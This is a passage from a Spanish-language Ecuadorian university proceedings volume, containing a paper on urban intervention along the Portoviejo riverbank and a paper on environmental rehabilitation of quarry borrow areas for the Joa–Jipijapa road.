- BARCELÓ, C. 1992. Modelación matemática del ruido de tránsito y de su respuesta subjetiva: aplicación en el mapa de La Habana. AIDIS pag. 162-9. La Habana.
- CALTRANS. 1989. CALINE4 – A Dispersion Model for Predicting Air Pollutant Concentrations Near Roadways, Final Report prepared by the Caltrans Division of New Technology and Research (Report No. FHWA/CA/TL-84/15).

- MOPT. 1992. Guías metodológicas para la elaboración de Estudios de Impacto Ambiental. Carreteras y Ferrocarriles. España.
- Reglamento Especial a la Ley
- Reglamento a la Ley para la de Gestión Ambiental de Evaluación de Impactos Ambientales en el Ecuador. Prevención y Control de la Contaminación Ambiental originada por la emisión de ruidos, Registro Oficial No. 560 del 12 – 11 – 1990.
- TEXTO UNIFICADO DE LEGISLACION AMBIENTAL, Libro VI, De la Calidad Ambiental, Anexo 5. Límites permisibles de niveles de ruido ambiente para fuentes fijas y fuentes móviles, y para vibraciones. Ecuador
- TRIGUEROS, J. 1999. El ruido en los proyectos de carreteras. Conferencia. Primer encuentro Euroamericano de grupos Viales Ambientales. Argentina.

INTERVENCIÓN URBANA EN LA MARGEN DERECHA DEL RÍO PORTOVIEJO. TRAMO PUENTE SAN JOSÉ – PUENTE VELASCO IBARRA, PROPUESTA ALTERNATIVA

Arq. Miguel Terán García

Maria Mercedes Vélez Párraga

Lady Esperanza Soledispa Cedeño

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

Es de gran trascendencia conocer la manera en que los seres humanos se apropian, edifican y representan la relación del espacio con el medio ambiente en la tierra y el uso indiscriminado de recursos que dañan la ecología; existen directrices principales sobre las decisiones estratégicas de desarrollo para la intervención urbana, que a través de políticas públicas se ordene, administre y compense de una manera óptima, minimizar los riesgos y amenazas bióticas, físicas y económico sociales sobre la utilidad de estas riquezas naturales de forma planificada. Esta investigación tiene como objetivo diseñar una alternativa para la intervención urbana de una parte de la margen derecha del río Portoviejo, que atraviesa la ciudad y es el tramo comprendido entre el puente San José y el Puente Velasco Ibarra, donde se encuentra ubicada el área de estudio. La metodología utilizada es cualitativa, descriptiva y experimental mediante diagnósticos realizados a través de encuestas, observaciones y análisis documental, para obtener información importante para entender, verificar, analizar, corregir o aplicar el conocimiento en la vida cotidiana y la prognosis e imagen del objetivo en planos. Los resultados de carácter preventivo, contribuyeron a evitar la invasión de edificaciones en las riberas del río y el uso indebido de los patios traseros de los predios que están en este tramo donde los cerramientos están ubicados muy cerca del cauce del río, que permitieron una mejor utilización de estos espacios que están dirigidos a la recreación de la población, y a mejorar el paisaje natural urbano a partir de un desarrollo sustentable y conservación natural de las riberas de los ríos.

Palabras claves: intervención urbana, alternativa y desarrollo sustentable

SUMMARY

It is the great transcendence to know the way in which human beings appropriate, construct and represent the relation space with the environment on earth and the indiscriminate use of resources that damage the ecology; There are major guidelines on strategic development decisions for urban intervention, which through public policies are ordered, administered and compensated in a way, to network to the best of the business of the best of the public of the best of The best of the best of the people Planned form. This research aims at an alternative alternative for urban intervention a part of the right bank of the Portoviejo river, which crosses the city and the stretch between the San José bridge and the Velasco Ibarra bridge, where the study area is located. It becomes qualitative, descriptive and experimental through the

diagnosis is made through surveys, observations and documentary analysis, to obtain important information for the meaning, verification, correction, correction and application of knowledge in life daily and the prognosis and the image of the objective in plans The results of preventive character, contributed to avoid the invasion of buildings on the banks of the river and the use of the backyards of the properties that are in this section where the enclosures are very near the riverbed, which has allowed a better use of these spaces that they are aimed at the recreation of the population, and to improve the urban natural landscape through sustainable development and the natural conservation of riverbanks.

Keywords: urban intervention, alternative and sustainable development.

INTRODUCCIÓN

Una de las consecuencias más importantes del acelerado aumento de la población urbana ocurrido en las últimas décadas en América Latina y el Caribe, fue la gran expansión territorial de las ciudades, que superó en proporción el crecimiento demográfico. La gran disponibilidad de suelo con que cuentan en general las ciudades de la región ha favorecido un modelo de expansión horizontal sobre extensas superficies y en los márgenes de los ríos, con repercusiones profundas en la estructura urbana y en las condiciones sociales, económicas y físicas de las áreas centrales. (CEPAL.UNESCO, 2002)

A través de la historia el hombre ha descuidado de la naturaleza, convirtiendo su hábitat en un sitio de concreto donde se van perdiendo los espacios verdes necesarios para la oxigenación del medio ambiente y se van reemplazando por elementos artificiales y carentes de vida, por el crecimiento desordenado de las ciudades sin una planificación previa que no ha permitido que se destinen sitios específicos para la recreación y uso del tiempo libre, donde el hombre se vincule con la naturaleza.

En la Constitución de la República del Ecuador, artículo 14, se reconoce el derecho de la población a vivir en un ambiente sano y ecológicamente equilibrado, que garantice la sostenibilidad y el buen vivir. Se declara de interés público la preservación del ambiente, la conservación de los ecosistemas, la biodiversidad y la integridad del patrimonio genético del país, la prevención del daño ambiental y la recuperación de los espacios naturales degradados. Proteger y promover la diversidad cultural y respetar sus espacios de reproducción e intercambio; recuperar, preservar y acrecentar la memoria social y el patrimonio cultural (Constitución de la República del Ecuador, 2016).

En la provincia de Manabí, de forma específica en la ciudad capital, Portoviejo es una de las ciudades más pobladas de la provincia, que se ha visto en las últimas décadas sometida a procesos de invasiones generados por la migración que han destruido gran parte de sus espacios verdes y que por otra parte esto ha provocado de manera sistemática la pérdida de la identidad cultural de la ciudad y el asentamiento en las márgenes de los ríos, además de los desastres naturales que han dañado la infraestructura de la ciudad.

La planificación y el diseño urbano, trata de evitar la constante agresión al río ya sea por desconocimiento de la población o por falta de firmeza de las autoridades en proteger y precautelar las márgenes del río tal como dicen las normas legales de la ley de agua y las ordenanzas municipales, que expresan que no se podrá urbanizar las riberas de los ríos hasta

50 metros de retiro desde el borde quedando esta área como zona de preservación cuyo uso será comunal y recreativo.

El área de estudio se encuentra en el sector del río Portoviejo comprendido entre el Puente San José y el Puente Velasco Ibarra, dentro de la zona central de Portoviejo en la que se encuentra la mayor presión contra el ecosistema del río, cuya recuperación y protección constituye una medida de acción urgente: es el área específica de planificación (AEP) y el área de influencia inmediata (AII).

Métodos

La investigación cualitativa, es un estudio de campo, sistemático de los hechos en el lugar en que se producen los acontecimientos, explorar en forma directa el contexto seleccionado como campo de acción, para obtener información de acuerdo con los objetivos del proyecto y considerar la conveniencia y accesibilidad.

La *revisión de la literatura* puede servir en el planteamiento del problema cualitativo inicial; pero nuestro fundamento no se circunscribe o limita a dicha revisión, su papel es más bien de apoyo y consulta. La *investigación cualitativa* se basa, ante todo, en el proceso mismo de recolección y análisis, que es interpretativa, ya que el investigador hace su propia descripción y valoración de los datos. (Sampieri, 2012)

Las observaciones durante la inmersión inicial en el campo son múltiples, generales y con poco enfoque o dispersas (para entender mejor al sitio y a los participantes o casos). Al principio, el investigador debe observar lo más que pueda. Pero conforme transcurre la investigación, va centrándose en ciertos aspectos de interés y se vinculan más con el planteamiento del problema, que al ser flexible se puede ir modificando de acuerdo con las necesidades y objetivos propuestos. (Anastas, 2005)

El proceso metodológico involucra tres etapas para el diseño de la propuesta alternativa: investigación, programación y diseño.

1.- La investigación es la primera etapa de este proceso, a través de la investigación científica, estará orientada y dirigida a la obtención de un diagnóstico de los problemas socioeconómicos, políticos, técnico-funcionales, arquitectónicos-urbanos, del área o sector que se investiga y/o con el fenómeno de estudio. En esta etapa del conocimiento se utilizan métodos teóricos y técnicas de investigación como encuestas y observaciones para el análisis de los fundamentos teóricos y los objetivos de la investigación y su confrontación con la práctica y se determinará un pronóstico que puede ser a corto, mediano o largo plazo de la aplicación de la propuesta.

2.- La programación, posibilita la solución de los problemas tanto a nivel sociopolítico, arquitectónico o urbano y se ubicarán los mecanismos de funcionamiento, los objetivos que se cumplirán, la implementación de las soluciones sugeridas tanto en el nivel de la necesidad como en la posibilidad; para enfrentar la etapa de la programación debemos considerar tres elementos fundamentales:

1.-Imagen-objetivo: se refiere a como nosotros concebimos la solución de los problemas, que función o funciones debe de cumplir el objeto arquitectónico o urbano como propuesta y de qué manera aportará a las políticas de soluciones planteadas para transformar el problema de

los objetivos planteados a la comunidad o población como alternativa de solución a los problemas detectados en la investigación y determinados en el diagnóstico.

2.-Necesidad: se refiere a las necesidades que van a ser satisfechas con el objeto arquitectónico o urbano propuesto para el cumplimiento.

3.-Posibilidad: es aplicar la propuesta alternativa para satisfacer las necesidades diagnosticadas, es decir localizar y determinar los recursos disponibles que pueden ser de carácter financiero, técnico-funcional, legal y sociopolítico.

El método estadístico de muestreo que consiste en seleccionar una parte de las unidades de un conjunto, de manera que sea lo más representativo del colectivo en las características sometidas a estudios. Se aplicará un muestreo no probabilístico, de tipo decisional y casual y estratificado por zonas, donde se aplicarán las encuestas, entrevistas y observaciones.

La investigación es también documental-bibliográfica con el propósito de conocer, comparar, ampliar, profundizar y deducir diferentes enfoques, teorías, conceptualizaciones y criterios de diversos autores sobre el tema investigado, en documentación literal, libros, revistas, periódicos y documentación gráfica, planos, croquis y otras publicaciones.

Es experimental: Se manipulan ciertas variables independientes para observar los efectos en la respectiva variable dependiente, con el propósito de precisar la relación causa-efecto y la observación: visual directa y registros, elementos sonoros, foto mecánicos, además de estas modalidades descritas también se consideró los recursos humanos, materiales y las actividades realizadas. (Sampieri, 2012)

Desarrollo

Las quebradas de los márgenes de los ríos ofrecen a los habitantes una serie de servicios eco sistémicos que aunque no sean calificados como tales, se los asume cuando se habla de: fauna y flora, frutas, plantas medicinales, disminución del riesgo de deslizamientos o avenidas de lodo o agua, la opción de recreación y esparcimiento, y la conservación de aspectos culturales, les confiere la conexión funcional entre ecosistemas de diferentes pisos altitudinales para garantizar el adecuado estado de conservación. (González, 2016)

Dentro de los objetivos de la alternativa propuesta para conservar un recurso natural que es parte de la historia e identidad de Portoviejo, despertar el espíritu de apropiación en los ciudadanos, aspecto tan necesario para fomentar el cuidado a la ciudad, para fortalecer el vínculo universidad-sociedad, y mejorar el rol social que debe cumplir la entidad mediante iniciativas que potencien las coyunturas socio-económicas, culturales medioambientales y turísticas del sector y propiciar la disminución del déficit de áreas verdes y el desequilibrio ecológico derivado principalmente por la deforestación y la contaminación.

Las tareas esenciales de esta propuesta son:

1.-Formulación de un conjunto de proyectos destinados a convertir el área específica de planificación en un parque urbano, dotado de instalaciones recreacionales, educativas y contemplativas al servicio de la población.

2.-Zonificación general de uso del suelo compatible con las características ecológicas del área de estudio.

3.-Reforestación en las márgenes y áreas adyacentes al río con especies de su ecosistema.

La intervención urbana es un proceso necesario para actuar sobre las causas y factores específicos que dan origen al deterioro de un barrio o una zona urbana en concreto como las márgenes de los ríos, que afectan al desarrollo y mejoramiento de las condiciones de vida de la población y también del medio ambiente, para ello es indispensable realizar un diagnóstico y análisis para la regeneración urbana, en un conjunto de acciones que deben orientarse a dar solución a todos los problemas que causan el deterioro urbano así como las causas y factores que lo originan. (Durán Díaz, 2013)

La intervención urbana puede abarcar acciones de rehabilitación, renovación o mejoramiento, pero no se limita a ninguna de ellas en concreto y para lograr un proyecto integral es necesario que se tengan en cuenta aspectos urbanísticos y arquitectónicos, además también otros elementos como los sociales, culturales, climatológicos, ecológicos y económicos. (Durán Díaz, 2013)

Es vital comenzar por un análisis minucioso de la zona y delimitar nuestro campo de acción, existen herramientas como *Google Earth*, que permiten identificar el barrio o la zona en la que se va a ejercer una acción urbana; una vez delimitado el territorio se procede a realizar el diagnóstico, para clasificar las problemáticas.

1.- La necesidad espacial para facilitar la conectividad e interacción del barrio o sector urbano con su entorno, que implique sentido de pertenencia que permita al ciudadano sentirse plenamente identificado con su espacio público y con ello generar una mayor interacción, para lograr darle vida a este entorno social.

2.-La dotación de servicios es el resultado del diagnóstico que plantea un déficit de servicios o equipamiento que cubra las necesidades del sector para desarrollar una alternativa que permita mediante la inclusión de equipamiento urbano y favorecer a la población con la dotación de servicios necesarios.

3.- La problemática social y económica que debe estar acompañado de acciones sociales que permitan reducir los niveles de pobreza y exclusión, por lo general este tipo de zonas tienen un tipo desarrollo económico débil y un alto nivel de desempleo, que permite que se descomponga el tejido social y se conviertan en zonas violentas o propicias para generar altos índices de delincuencia.

El objetivo en estos casos debe centrarse en generar una economía local y diversificada que se pueda integrar al contexto del barrio o sector con la participación de todos los factores sociales y que los vecinos o representantes locales, colaboren para llevar a cabo estas acciones de cuidar y proteger su medio ambiente.

4.- Alternativa de acción con enfoque de inclusión, diversidad y fomento a la participación.

Una vez diagnosticado la problemática del sector en cuestión, se procede aplicar la alternativa de acción, que dependerá de los resultados obtenidos con el diagnóstico, si es necesario dotar de un espacio público, entonces habrá que elaborar el proyecto arquitectónico, otras acciones están enfocadas a mejorar fachadas y aceras por ejemplo, en este caso elaborar un proyecto especial con una fachada tipo, con todos los materiales, colores y texturas y a partir de ahí se implementará en el sector para lograr el desarrollo sustentable y ambiental de esa zona urbana de Portoviejo.

El desarrollo de sustentable de las zonas urbanas se refiere a las tres dimensiones que integran el principio: la social, la económica y la ambiental, que no tiene un significado uniforme, sino que varía de acuerdo con el entorno urbano al que se aplica, es decir, no existe un tipo ideal de ciudad sostenible, sino que ésta se conforma de acuerdo con sus características ambientales propias, regionales y condiciones sociales o económicas, reconociendo que no todas las ciudades atraviesan por las mismas problemáticas. (Lezama, 2006)

La sustentabilidad ambiental, sin embargo, debería ocupar un lugar privilegiado, dado que constituye el soporte de las otras dos dimensiones del concepto de desarrollo sustentable. Los procesos de desarrollo que sólo favorecen los aspectos económico o social han llevado al agotamiento y degradación de los recursos naturales, y la presión antropogénica, cada vez más fuerte, demanda más de éstos, sea en forma de materia prima o de servicios ambientales.

La búsqueda de alternativas, para poder producir cambios; en las márgenes de los ríos es un complemento de cómo atender o cuidar de forma preventiva los recursos que forman parte de estos ecosistemas en armonía con el medio ambiente y lograr un desarrollo sustentable o sostenible se define “como aquel que satisface las necesidades de la generación presente, sin comprometer la capacidad de las generaciones futuras para satisfacer sus propias necesidades” (Gisolf., 2018)

Este concepto desde la perspectiva de esta investigación aplica medidas alternativas para proteger al medio ambiente y a la naturaleza y contener la posible destrucción del ecosistema de las márgenes del río dentro de la zona central de Portoviejo, que han sido establecidas por las propias leyes ecuatorianas en su constitución.

Resultados

Dicha propuesta está constituida por tres componentes:

El primero referido a las **acciones básicas**, en la que se contempla los lineamientos a seguir para la consecución de la intervención urbana.

El segundo componente trata de la **sectorización**, donde se propone el emplazamiento de las distintas instalaciones de acuerdo con sus características intrínsecas y a las del área específica.

El tercer punto se refiere a los **proyectos**, que comprenden las formulaciones y conceptos básicos para la realización material de los objetivos y metas de la intervención urbana.

Acciones básicas: la I. Municipalidad, como organismo planificador y regulador del ordenamiento territorial, está en la capacidad de aplicar la presente intervención urbana en la margen derecha del río Portoviejo tramo puente san José – puente Velasco Ibarra, evaluarla, ampliarla o corregirla. La decisión política, la orientación técnica y los medios financieros, que son los elementos necesarios para su ejecución, se enmarcan dentro de las acciones y funciones municipales, más la intervención pública (otras instituciones) y privada, lo cual se podrá llevar adelante los distintos proyectos que contempla la propuesta, y que considero es práctico y aplicable; estas acciones se sitúan en el ámbito de la gestión Municipal, por lo manifestado anteriormente, y se refieren a:

Acciones normativas: aplicación en forma estricta la ordenanza dada para la ocupación del suelo, su uso y subdivisión en el área de estudio, crear una ordenanza donde las familias a quienes se le van a expropiar sus predios sean trasladadas a un edificio que contempla el

proyecto. Impedir cualquier intento de acción pública o privada no prevista, al interior del área planificada.

Acciones ejecutivas vinculación y comprometer la participación de las instituciones que deben intervenir en la elaboración y ejecución de los y proyectos. Iniciar los estudios definitivos, tendientes a la implementación de la intervención urbana, en todos los ámbitos requeridos; el financiamiento necesario público y privado para la realización del proyecto en general y programación y priorizar la ejecución de obras.

Acciones complementarias: difundir el estudio y objetivos de la “Intervención urbana en la margen derecha del río Portoviejo, tramo puente San José – puente Velasco Ibarra de la ciudad de Portoviejo.” a las instituciones públicas y privadas, y a la ciudadanía en general, en busca del aporte valioso para llevar adelante la ejecución de esta obra.

Sectorización general de usos: la forma de ocupación del área de planificación es el resultado de las directrices y lineamientos, así como de las características intrínsecas que presenta el área de estudio.

Para llevar adelante la sectorización se han constituido unidades de actuación (denominadas sectores), que mantienen características similares y donde se plantean proyectos puntuales, quedando conformado de la siguiente manera.

SECTOR A SÓCIO - CULTURAL

SECTOR B DEPORTIVO

SECTOR C DE APARCAMIENTO

SECTOR D DE REPOBLAMIENTO VEGETAL

CONCLUSIONES

La formulación de propuestas alternativas sobre el mejoramiento de las márgenes del río de la ciudad de Porto viejo, no es una cuestión que pueda objetivarse a partir de datos puramente empíricos y/o físicos; esto depende de la formación de lo urbano en esta ciudad que es fruto de un proceso histórico sobre el que inciden diversas dimensiones (culturales, económicas y sociales) que ayudan a explicar la diversidad y especificidad del desarrollo sustentable a través de su historia, cultura, sociedad, economía y junto a las tipológicas y geográficas.

La propuesta contribuye a mejorar, preservar y controlar los recursos naturales que constituyen las márgenes del río Portoviejo, en el sector de mayor consolidación urbana, para incorporarlas a usos educativos, recreacionales, habitacionales, comerciales y de conservación del medio ambiente.

REFERENCIAS BIBLIOGRÁFICAS

Organización Mundial del Turismo. (2004). El desarrollo sostenible y el turismo. Madrid: OTM.

Anastas, J. (2005). Social work: Research and evaluation. Quantitative and qualitative approaches. New York: Oxford University Press.

CEPAL.UNESCO. (2002). Las nuevas funciones urbanas: gestión para una ciudad sostenible. Santiago de Chile: Milenio.

Constitución de la República del Ecuador. (2016). Biodiversidad y Recursos Naturales. Quito: Ministerio del Ambiente.

Durán Díaz, P. (2013). El río como eje de vertebración territorial y urbana. México: Universitat Politècnica de Catalunya (UPC).

Gisolf., M. C. (5 de febrero de 2018). Turismo en teoría. Obtenido de <http://www.tourismtheories.org/?p=936&lang=es>

González, S. (2016). Diseño arquitectónico urbano de la quebrada Vivero de Lojas. LOJA.

Lezama, D. &. (2006). Medio ambiente y sustentabilidad urbana. Toluca jul./sep. vol.12 no.49, versión impresa ISSN 1405-7425.

Sampieri, H. (2012). Metodología de la investigación. Quinta Edición. México D.F.: The McGraw-Hill Companies.

DISEÑO DE UN PROGRAMA PARA LA REHABILITACIÓN AMBIENTAL EN EL ÁREA DE PRÉSTAMO DE LA CANTERA JOA - JIPIJAPA Y SU INFLUENCIA EN LA CONSTRUCCIÓN DE LAS CARRETERAS.

Ing. Carlos José Zavala Vásquez, Mgs

Srta. María Andrea Zambrano Segovia

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo electrónico: Andre_zamseg@hotmail.com

RESUMEN

El objetivo de este trabajo es diseñar un programa para la rehabilitación ambiental en el área de préstamos utilizadas para la construcción en el tramo vial Joa – Jipijapa de manera que se logre mitigar el efecto de los impactos ambientales presentes en la zona estudiada, provocados por la no implementación de acciones mitigadoras por parte de la Municipalidad de Jipijapa que en la mayor parte de la explotación han sido ellos con su maquinaria. A través del método de la encuesta con sus técnicas del cuestionario y la observación científica, y del estudio del informe de Evaluación de impactos ambientales, se identificaron los impactos ambientales presentes, lo cual servirá de base para la elaboración del programa para la rehabilitación que tribute a la mitigación del deterioro ambiental y a la recuperación del valor de uso de los suelos y del sitio en general. Como resultados fundamentales de la investigación se obtuvieron, el diagnóstico del estado ambiental de la zona estudiada, y la propuesta de un programa para la rehabilitación ambiental de la misma. Estos resultados serán de utilidad tanto para el Concejo Provincial de Manabí como para la Municipalidad de Jipijapa y el Ministerio de Transporte y Obras Públicas

Palabras claves: Obras de ingeniería civil, deterioro ambiental, impacto ambiental, evaluación de impacto ambiental, estudio de impacto ambiental, minería a cielo abierto, rehabilitación ambiental, programa para la rehabilitación ambiental.

ABSTRACT

The objective of this work is to design a program for environmental rehabilitation in the area of loans used for construction in the Joa - Jipijapa road section in order to mitigate the effect of the environmental impacts present in the studied area, caused by the no implementation of mitigating actions by the Municipality of Jipijapa that in most of the exploitation have been them with their machinery. Through the survey method with its questionnaire techniques and scientific observation, and the study of the environmental impact assessment report, the present environmental impacts were identified, which will serve as the basis for the preparation of the

program for the rehabilitation that taxes to the mitigation of environmental deterioration and to the recovery of the use value of the soil and the site in general. As fundamental results of the investigation were obtained, the diagnosis of the environmental status of the studied area, and the proposal of a program for the environmental rehabilitation of the same. These results will be useful for both the Provincial Council of Manabí and the Municipality of Jipijapa and the Ministry of Transport and Public Works

Key words: Civil engineering works, environmental deterioration, environmental impact, environmental impact assessment, environmental impact study, open pit mining, environmental rehabilitation, program for environmental rehabilitation..

INTRODUCCIÓN

El programa para la rehabilitación ambiental en el área de préstamos utilizadas para la construcción del tramo vial Joa – Jipijapa es una alternativa no muy costosa pero eficaz que garantiza un trabajo bien hecho y con el resultado esperado, a partir de la consideración de todos los parámetros técnicos y del aprovechamiento de todos los recursos propios del sitio, en función de la eficiencia constructiva y la calidad de la obra, en donde se decidió utilizar materiales de préstamo para el relleno de las capas de la estructura de pavimento extraídos de áreas de préstamo ubicadas a lo largo del sitio de obra, lo cual ha permitido abaratar costos constructivos.

El perfil tanto longitudinal como geométrico de la vía estudiada presenta una característica en particular puesto que podría ser considerada como una zona de paso obligada lo cual no permite modificación alguna en cuanto a la variante geométrica como tal esta situación hace que propios y extraños y hasta la misma municipalidad tomen el cerro de Joa como zona de extracción minera lo que desencadena muchos problemas de deforestación; con devastación de potreros y montañas vírgenes que son destruidas por la maquinaria que se ha utilizado en el movimiento de tierras, ocasionando todo ello un severo impacto en estas áreas de préstamos, las que en la mayoría de las ocasiones no se han rehabilitado.

El acelerado desarrollo de la ingeniería ha introducido técnicas y tecnologías en el diseño y la construcción de obras civiles mejorando con ello sus especificaciones y características a corto y largo plazo, aumentando la vida útil y buscando un equilibrio en los factores económicos que en muchos casos representan una disminución de los costos de la obra. Sin embargo la no realización o en su defecto la realización de Estudios de Impactos Ambientales incompletos; en la mayoría de los casos no tienen en cuenta las áreas seleccionadas para el préstamo de materiales, además de no proponer acciones mitigadoras para la rehabilitación de las áreas degradadas por el impacto de la ejecución de las obras civiles; provocan que las zonas donde estas obras se ejecutan y todo su entorno, se degraden, casi siempre de forma severa, a partir de la deforestación, de la erosión de los suelos, de la contaminación de las fuentes de agua, de las afectaciones a la calidad de vida de los moradores del entorno, y de las afectaciones a la flora y la fauna endémica de la zona. Específicamente, las áreas de préstamo resultan casi siempre las menos tenidas en cuenta en estos proyectos constructivos y por consiguiente son donde más perduran los efectos de los impactos negativos ocasionados por la inversión.

MATERIALES Y METODO

PROGRAMA PARA LA REHABILITACIÓN AMBIENTAL

Se realizó un plan de acciones mitigadoras del impacto ambiental actual con el objetivo de recuperar la calidad ambiental del sitio y la calidad de vida de sus moradores. Se realizó en 5 fases, en donde la primera estuvo en función de las consideraciones generales una fase de exploración y evaluación, explotación, tratamiento y transporte, finalmente el cierre de una mina a cielo abierto. Así mismo, la siguiente etapa consistió en la implementación del programa de rehabilitación ambiental el mismo que fue puesto para su visto bueno a consideración de los moradores de Joa, de la dirección de Planificación Municipal, con el objetivo de conciliar criterios y acciones, y de lograr la participación de la comunidad en la implementación del presente Programa, cuyo proceso consistió en tareas de reforestación cuyo proceso consistió en traer las Plantas a reforestar desde otros lugares e involucrar a la comunidad con el vivero Municipal además de repotenciar su producción.

Posteriormente se realizó el control de la implementación del programa en el cual se definiría que los actores principales serán el Inversionista de la obra (bajo el principio del que contamina paga) y las autoridades cantonales junto a los principales líderes de la Comunidad residente en el sector afectado.

Esto considerando que el predio cuenta con un dueño que se lucra de la venta de dicho material, sin embargo la Municipalidad se ve en la obligación de inyectar recursos dado que ellos utilizan el material y son parte de la extracción.

El plan de acciones para la rehabilitación ambiental de la zona afectada en el tramo Joa – Jipijapa, teniendo en cuenta las medidas o acciones correctoras para mitigar el impacto ambiental generado por la Minería a cielo abierto (Áreas de préstamo en el tramo vial Joa – Jipijapa). Estas acciones pueden formar parte del proyecto de restauración. A continuación se presentan las acciones que se proponen en la presente ponencia, dirigidas a compensar o disminuir los impactos ambientales generados por la construcción del tramo vial Joa – Jipijapa y por la explotación de las áreas de préstamo localizadas a lo largo del tramo construido.

Resulta significativo destacar que la ejecución de la restauración de las áreas de extracción minera, de manera progresiva y simultánea con la explotación, tiene ventajas operativas y económicas. El Manual de Restauración de Terrenos y Evaluación de Impactos Ambientales en Minería” de España, recoge un apartado en que evalúa la repercusión económica de la restauración en los costes de explotación y afirma que el coste medio de la restauración de una cantera de áridos puede ascender por tonelada extraída, al 0.4% del precio de venta de una tonelada de árido, lo cual verdaderamente es insignificante desde el punto de vista económico. (ITG de España, 1996).

Dentro de las medidas que se proponen para la selección de las áreas de préstamo para la construcción de obras viales se tuvo en cuenta las consideraciones especiales de diseño en donde, se establecen las diferentes actividades a realizar en el marco de la construcción, rehabilitación, mejoramiento y mantenimiento de la vía. De igual manera se consideran las canteras o yacimientos a los lugares con potencial de material para su uso en las obras de ingeniería, las canteras pueden ser: Aluviales y Canteras de Cerro o coluvios. Específicamente, para la elección de los sitios de explotación de canteras, se deberán considerar las siguientes medidas de carácter obligatorio:

Para seleccionar y aprobar un lugar de préstamo además de los requerimientos técnicos, debe verificarse que el lugar no corresponde a un sector de alto valor paisajístico, cultural, arqueológico o si pertenece a alguna área protegida o zona considerada de alto riesgo ambiental. Si éste es el caso se deberá evaluar la posibilidad de cambiar el yacimiento o diseñar medidas ambientales efectivas y eficientes.

Es necesario tener en cuenta que no todas las áreas desde las que se realizan préstamos de materiales, corresponden al derecho de vía o al dominio fiscal, por el contrario la gran mayoría de terrenos corresponden a terrenos comunales o privados, por esto se debe requerir los permisos de los propietarios antes de iniciar cualquier actividad extractiva o realizar el trámite de expropiación correspondiente.

Las actividades extractivas deben contar con los permisos estipulados en la legislación ambiental correspondiente.

La elección de sitios de material de préstamo debe estar de acuerdo con estudios previos y la extracción debe responder a un programa general para la explotación y un programa específico para la recuperación o restauración posterior del área afectada. Se deberá especificar gráficamente los límites de los depósitos a extraer, así como, la naturaleza del material y las cantidades específicas a extraer.

Se debe evitar la extracción de lechos húmedos de ríos y arroyos. Si el uso de material ribereño es inevitable se debe minimizar el área afectada y evitar: las zonas más sensibles ecológicamente, daños a la vegetación ribereña, deslizamientos de los márgenes de ríos y arroyos

Las áreas de explotación en lo posible no podrán ubicarse a menos de 1.000 metros de las zonas pobladas.

Las áreas de extracción de material de préstamo no podrán ser localizadas en Áreas Protegidas, o sensibles.

Para la explotación de material de préstamo en cauces, se deberá contar con la autorización del municipio correspondiente.

Se deben evitar acciones en los cauces del agua y efectuar estudios sobre la geomorfología del río para determinar que los impactos sobre el mismo sean mínimos y no afecten el sistema fluvial.

La instalación de maquinaria pesada (chancadora) se realizará lo más alejada posible del curso de agua permanente, en el extremo externo de las terrazas aluviales.

En la planta trituradora o chancadora relacionada a esta actividad se deberán adoptar medidas ambientales especiales para evitar la alteración de las propiedades físicas del río, tales como la instalación de piscinas de sedimentación de partículas.

La maquinaria pesada de acarreo se movilizará lo menos posible sobre las terrazas aluviales y siempre por las rutas previamente establecidas. Se reducirá al mínimo indispensable el cruce de esta maquinaria por el curso de agua de los ríos.

En el caso de banco de préstamo de materiales no aluviales, se recomienda lo siguiente:

El desbroce de la vegetación se realizará antes de iniciar la excavación y se acumulará o acopiará para su posterior utilización. El desbroce se limitará exclusivamente al área de explotación.

La explotación debe seguir normas que eviten la desestabilización de los terrenos, por tanto se evitará en lo posible explotar en áreas de pendiente mayor a 25%, la profundidad de la explotación no debe superar la establecida por la supervisión de acuerdo a las características del lugar, la ubicación de la capa freática.

No se explotará en superficies de soporte inferior de material superior susceptible de deslizarse.

En las canteras rocosas, se deben seguir todas las normas de seguridad sobre explosivos y sólo se extraerá el material estrictamente necesario. Si se trata de áreas planas y si la profundidad de la excavación sobrepasa los 0,5 m, se rellenará con material excedente de las áreas de corte en la parte inferior y con material de la zona en la parte superior.

En áreas de pendientes, la extracción se realizará de forma tal que se mantenga un pendiente menor a 25%, que será terraceada al final de la explotación.

En canteras no dejarán abandonadas rocas que eventualmente puedan deslizarse y precipitarse

Los depósitos de Material Excedente (DME), son utilizados para depositar el material que se genera por acción de los diferentes trabajos propios del proceso constructivo como: ampliación de la plataforma, cortes de talud, excavaciones, obras de arte, demoliciones y en general por las actividades derivadas del proceso de explanaciones. De acuerdo a lo expresado todo el material debe colocarse en los DME, para lo cual deben tener características específicas las mismas que se mencionan a continuación:

El lugar o espacio para la disposición de los DME debe ser seleccionado cuidadosamente, evitando zonas inestables o áreas de importancia ambiental como humedales, áreas sensibles o de alta productividad agrícola.

Se deben evitar zonas que puedan interrumpir drenajes naturales.

Para la ubicación de los DME se debe considerar la morfología del terreno, tratando en primera instancia de utilizar depresiones o áreas desiguales, donde la conformación de material excedente a depositar podría recuperar las características del paisaje. Para tales fines, deberá realizarse el levantamiento topográfico del lugar identificado, a fin de elaborar el diseño adecuado. Se identificarán georeferencialmente cada uno de los vértices del depósito elegido.

Los DME deben ubicarse sobre suelos pobres, en lo posible, con poca o escasa cobertura vegetal, de ser posible sin uso aparente, evitando zonas inestables o áreas de alta importancia ambiental.

Utilizar como DME únicamente lugares no aptos para actividades agrícolas o de pastoreo

El manejo de drenaje es de suma importancia en el botadero para evitar su posterior erosión, por lo cual, si se hace necesario, se colocarán filtros de desagüe para permitir el paso del agua

Cuando se rellenan ciertas depresiones, suele ser necesario conformar el relleno en forma de terrazas y colocar un muro de pata en gavión, sobre todo en zonas donde debido al nivel de precipitaciones el material es susceptible a saturarse con facilidad

Al depositar materiales altamente contaminantes (restos de asfalto, materiales residuales, entre otros), previamente en el fondo del depósito deberá colocarse una capa de material arcilloso que servirá de capa impermeable, de alrededor de 0.50 m de espesor. Antes de colocar la capa de materia orgánica, se colocará una nueva capa de material arcilloso similar a la recomendada a fin de encapsular el producto contaminante

Para el relleno, se retirará la capa orgánica del suelo, la cual será almacenada para su posterior utilización en las labores de revegetalización y reforestación. Para el cuidado de la capa del suelo se deberá tener en cuenta las características del ecosistema, por cuanto en lugares de altas precipitaciones el material acumulado puede ser lavado fácilmente.

Los lugares propuestos como DME, (volúmenes a depositar, áreas a intervenir, procesos constructivos y medidas de control de erosión propuestos por la contratista) serán revisados y aprobados por la supervisión.

